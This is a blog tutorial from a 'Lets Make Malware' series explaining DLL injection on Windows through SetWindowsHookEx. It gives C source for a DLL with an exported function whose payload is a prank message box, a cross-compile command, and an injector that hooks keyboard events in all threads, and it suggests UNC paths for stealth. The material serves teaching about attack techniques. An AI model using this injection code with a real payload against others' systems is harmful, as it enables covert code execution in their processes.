Reprogrammed

Lets Make Malware - DLL Injection with SetWindowsHookEx

Code

Preamble

This week, we will discuss another way of performing DLL injection. In our classic DLL injection example, we used 8 Windows API functions in our injector codebase.

These were OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread, GetProcAddress, GetModuleHandle, LoadLibrary, and WaitForSingleObject.

This time we will use just 4 API functions.

The first thing we need is, of course, a DLL to use. For this, we will use the same codebase as last time with slight modifications. That code looked like this:

#include "windows.h"
void execute() {
	MessageBox(NULL, "Don't call the cops bro. It's just a prank bro.", "You're already under my control", MB_OK);
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
	switch(fdwReason) { 
		case DLL_PROCESS_ATTACH:
			execute();
            		break;
        	case DLL_THREAD_ATTACH:
            		break;
        	case DLL_THREAD_DETACH:
            		break;
        	case DLL_PROCESS_DETACH:
            		break;
    		}    
    	return TRUE;  
}

DLL Changes

The first thing we will change is removing our call to the “execute” function from the switch statement. It isn’t needed.

Our second change will be to export our “execute” function. That means it will be able to be called from outside of our DLL.

So, our code will now look like this:

#include "windows.h"
extern "C" __declspec(dllexport) void execute() {
	MessageBox(NULL, "Don't call the cops bro. It's just a prank bro.", "You're already under my control", MB_OK);
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
	switch(fdwReason) { 
		case DLL_PROCESS_ATTACH:
            			break;
        		case DLL_THREAD_ATTACH:
            			break;
        		case DLL_THREAD_DETACH:
            			break;
        		case DLL_PROCESS_DETACH:
            			break;
    	}    
    	return TRUE;  
}

We can (cross) compile this the same way we did last time with the following command:

x86_64-w64-mingw32-gcc –shared -o myEvilDLL.dll myEvilDLL.cpp

Injector

LoadLibrary

Now, moving on to our injector code, our first API function is LoadLibrary. LoadLibrary does what it says on the tin can and we have already discussed its sole parameter, so we will not cover it again here.

GetProcAddress

The next function we need is GetProcAddress. As we mentioned in the classic DLL injection post, this function locates the memory address of a function and returns it. We will use it in this case to find the address of our “execute” function within our malicious DLL.

SetWindowsHookEx

Next, we have the meat and potatoes of this whole operation: SetWindowsHookEx.

As defined by MSDN, this function “Installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events. These events are associated either with a specific thread or with all threads in the same desktop as the calling thread.

Put simply, this is the function that is doing our injection for us. When an event of our choosing occurs, such as a keypress, a function, also of our choosing, will run.

SetWindowsHookEx is defined like so:

HHOOK SetWindowsHookExA(
  [in] int       idHook,
  [in] HOOKPROC  lpfn,
  [in] HINSTANCE hmod,
  [in] DWORD     dwThreadId
);

Its first parameter, idHook, is the event we want to listen for. There are a few different ones we can choose from, but for this example, we will use WH_KEYBOARD or 2. This one, of course, is waiting for key strokes.

The seconds parameter, lpfn, is the function we want to run once our chosen event happens. This will be our execute function in our DLL.

Thirdly, hmod is the handle to the library (DLL) we get from our call to LoadLibrary.

Finally, dwThreadId, is the PID of the thread we want to listen for our specified event in. Microsoft was nice enough to provide us with a way of listening in all threads by supplying 0 here.

UnhookWindowsHookEx

Our last API function call will be UnhookWindowsHookEx, as we are good citizens we clean up after ourselves. But prior to that, we will make use of the sleep function so key presses have time to occur and set off our malicious DLL function.

UnhookWindowsHookEx only has one parameter: the return value of SetWindowsHookEx, a handle to the hook itself.

All Together

All together our injector code looks like so:

int main() {
  HMODULE malDll = LoadLibrary("myEvilDLL.dll");
  HOOKPROC executeFunc = (HOOKPROC) GetProcAddress(malDll, "execute");

  HHOOK hook = SetWindowsHookEx(WH_KEYBOARD, executeFunc, malDll, 0);
  Sleep(10*1000);
  UnhookWindowsHookEx(hook);

  return 0;
}

After running this, all we have to do is press any key while our sleep function executes, and our malicious DLL will run!

If we want to make things a bit more stealthy, we could try utilizing UNC paths for our LoadLibrary function call again and see what happens!

Resources

MSDN: GetProcAddress

MSDN: SetWindowsHookEx

MSDN: LoadLibraryA

MSDN: Data Types

WikiBooks: Data Types